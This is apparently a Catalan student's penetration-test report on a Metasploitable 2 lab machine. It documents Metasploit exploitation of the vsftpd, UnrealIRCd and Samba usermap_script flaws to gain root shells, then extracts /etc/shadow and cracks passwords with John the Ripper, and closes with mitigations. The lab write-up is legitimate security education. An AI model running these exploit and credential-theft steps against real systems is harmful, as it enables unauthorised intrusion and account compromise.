Informe de test d'intrusió

Índex

Pràctica Kali Linux / Metasploitable 2

1. Dades generals

Camp	Contingut
Alumne/a	*[nom i cognoms]*
Data	07/08/2026
Mòdul	Seguretat Informàtica (SMX/ASIX)
Abast de la prova	192.168.100.20 --- metasploitable.thos.local
Objectiu	Identificar i explotar vulnerabilitats en serveis de xarxa exposats en un laboratori controlat, i avaluar la robustesa de les credencials del sistema

IMPORTANT

Aquest informe documenta una prova realitzada en un **laboratori controlat i propi** (`thos.local`). No conté informació aplicable a cap sistema real sense autorització explícita.

2. Resum executiu

S'ha realitzat un test d'intrusió sobre la màquina `metasploitable.thos.local`, un sistema Ubuntu 8.04 desactualitzat intencionadament. L'escaneig inicial ha revelat més de 20 serveis de xarxa exposats, molts d'ells amb versions obsoletes conegudes. S'han identificat i explotat amb èxit **tres vulnerabilitats crítiques diferents**, obtenint en tots els casos accés complet amb privilegis d'administrador (root) sense necessitat de cap credencial. Addicionalment, s'ha demostrat que 3 dels 7 comptes d'usuari del sistema utilitzen contrasenyes extremadament febles, trencables en segons amb eines d'ús públic. El nivell de risc global del sistema analitzat és **crític**.

3. Metodologia

S'ha seguit el cicle clàssic d'un test d'intrusió: reconeixement, identificació de vulnerabilitats, explotació, post-explotació i documentació.

Fase	Eines utilitzades
Reconeixement i escaneig	Nmap (`-sV -sC -p-`)
Identificació de vulnerabilitats	Anàlisi de versions detectades per Nmap, contrastades amb CVE conegudes
Explotació	Metasploit Framework (msfconsole)
Post-explotació	Meterpreter (getuid, sysinfo, download), John the Ripper

4. Troballes

4.1 Backdoor a vsftpd 2.3.4

Camp	Contingut
Gravetat	Crítica
Servei / port afectat	21/tcp --- vsftpd 2.3.4
Descripció	Versió trojanitzada de vsftpd distribuïda amb un backdoor incrustat al binari, actiu entre juny i juliol de 2011. Un usuari amb un patró específic al nom d'inici de sessió FTP obre una shell de comandes al port 6200/tcp
CVE	CVE-2011-2523
Impacte	Execució remota de codi amb privilegis root, sense necessitat de cap credencial vàlida

Evidència:

```
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : metasploitable.thos.local
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
Meterpreter  : x86/linux
```

4.2 Backdoor a UnrealIRCd 3.2.8.1

Camp	Contingut
Gravetat	Crítica
Servei / port afectat	6667/tcp --- IRC (UnrealIRCd)
Descripció	Versió trojanitzada d'UnrealIRCd distribuïda oficialment amb un backdoor incrustat al codi font entre novembre de 2009 i juny de 2010. Una seqüència de bytes específica enviada per la connexió IRC activa l'execució de comandes ocultes
CVE	CVE-2010-2075
Impacte	Execució remota de codi amb privilegis root; el dimoni IRC s'executa incorrectament com a root al sistema víctima

Evidència:

```
[+] 192.168.100.20:6667 - The target appears to be vulnerable.
 ↪  UnrealIRCd detected via IRC commands
[*] Meterpreter session 1 opened (192.168.100.10:4444 ->
 ↪  192.168.100.20:57835)
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : metasploitable.thos.local
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
```

4.3 Samba “username map script” Command Execution

Camp	Contingut
Gravetat	Crítica
Servei / port afectat	139/tcp, 445/tcp --- Samba 3.0.20-Debian
Descripció	El paràmetre de configuració `username map script` de Samba permet injectar comandes de shell arbitràries a través de noms d'usuari especialment construïts durant la fase de negociació de sessió
CVE	CVE-2007-2447
Impacte	Execució remota de codi amb privilegis root, sense necessitat de cap credencial vàlida

Evidència:

```
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.100.10:4444
[*] Command shell session 1 opened (192.168.100.10:4444 ->
 ↪  192.168.100.20:46520)
whoami
root
```

4.4 Contrasenyes febles en comptes d'usuari

Camp	Contingut
Gravetat	Alta
Servei / port afectat	N/A --- comptes locals del sistema (`/etc/shadow`)
Descripció	Un cop obtingut accés root mitjançant 4.1, s'han extret `/etc/passwd` i `/etc/shadow`. El crackeig offline amb diccionari ha revelat 3 de 7 contrasenyes en menys de 5 minuts
CVE	N/A (mala pràctica de gestió de credencials, no una vulnerabilitat de programari)
Impacte	Persistència d'accés fins i tot si es corregeixen els backdoors 4.1--4.3; possible reutilització d'aquestes credencials en altres sistemes

Evidència:

```
$ john --show hashes.txt
sys:batman:3:3:sys:/dev:/bin/sh
klog:123456789:103:104::/home/klog:/bin/false
service:service:1002:1002:,,,:/home/service:/bin/bash

3 password hashes cracked, 4 left
```

5. Procés d'explotació pas a pas

5.1 Explotació del backdoor de vsftpd 2.3.4

Pas 1 --- Reconeixement inicial

```
nmap -sV -sC -p- 192.168.100.20
```

[Captura de la sortida de Nmap mostrant `21/tcp open ftp vsftpd 2.3.4`]

Pas 2 --- Selecció i configuració de l'exploit

```
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.100.20
set LHOST 192.168.100.10
run
```

Pas 3 --- Confirmació de l'accés

```
meterpreter > getuid
meterpreter > sysinfo
```

Resultat final: s'ha obtingut una sessió Meterpreter amb privilegis root, confirmat amb `getuid` → `root`.

5.2 Explotació del backdoor d'UnrealIRCd

Pas 1 --- Identificació del mòdul

```
msf > search unreal_ircd
```

Pas 2 --- Configuració i llançament

```
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOSTS 192.168.100.20
set LHOST 192.168.100.10
run
```

Pas 3 --- Confirmació de l'accés

```
meterpreter > getuid
meterpreter > sysinfo
```

Resultat final: sessió Meterpreter oberta amb privilegis root, confirmat amb `getuid` → `root`.

5.3 Explotació de Samba usermap_script

Pas 1 --- Identificació del mòdul

```
msf > search usermap_script
use exploit/multi/samba/usermap_script
```

Pas 2 --- Configuració i llançament

```
set RHOSTS 192.168.100.20
run
```

Pas 3 --- Confirmació de l'accés

```
whoami
```

Resultat final: shell de comandes reversa oberta amb privilegis root, confirmat amb `whoami` → `root`.

5.4 Extracció i crackeig de credencials

Pas 1 --- Extracció des de la sessió Meterpreter (4.1)

```
meterpreter > download /etc/passwd
meterpreter > download /etc/shadow
```

Pas 2 --- Preparació dels hashos

```
unshadow passwd shadow > hashes.txt
```

Pas 3 --- Crackeig per diccionari

```
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

Resultat final: 3 contrasenyes crackejades en 4 minuts 45 segons (`sys:batman`, `klog:123456789`, `service:service`), confirmades amb `john --show hashes.txt`.

6. Recomanacions de mitigació

Vulnerabilitat	Recomanació
4.1 --- Backdoor vsftpd 2.3.4	Actualitzar vsftpd a la darrera versió estable oficial (mai descarregar binaris de fonts no verificades)
4.2 --- Backdoor UnrealIRCd 3.2.8.1	Actualitzar a una versió posterior a juny de 2010; verificar la integritat (checksums) del programari descarregat
4.3 --- Samba usermap_script	Actualitzar Samba a una versió ≥ 3.0.25; si cal usar `username map script`, restringir estrictament els caràcters acceptats al nom d'usuari
4.4 --- Contrasenyes febles	Aplicar una política de complexitat (longitud mínima, sense paraules de diccionari, sense contrasenya = usuari); migrar el hashing de `md5crypt` a `yescrypt` o `bcrypt`
General	Cap dels serveis analitzats hauria d'estar exposat sense necessitat; principi de mínima exposició (tancar ports no imprescindibles) i segmentació de xarxa

7. Conclusions

El sistema analitzat presenta un nivell de risc **crític**. S'han identificat tres vies d'entrada completament independents (backdoor de binari, backdoor de protocol, i injecció de comandes per mala validació) que permeten accés root sense cap autenticació, cadascuna representativa d'una categoria diferent de vulnerabilitat de programari. A més, la gestió de credencials del sistema és deficient, amb contrasenyes trivials trencables en minuts amb eines d'ús públic. La combinació de programari desactualitzat, exposició innecessària de serveis i credencials febles converteix aquest sistema en un objectiu d'explotació trivial per a qualsevol atacant amb coneixements bàsics. La prioritat de correcció hauria de ser, per ordre: actualització immediata dels tres serveis vulnerables (4.1--4.3), seguida d'una revisió completa de la política de contrasenyes (4.4).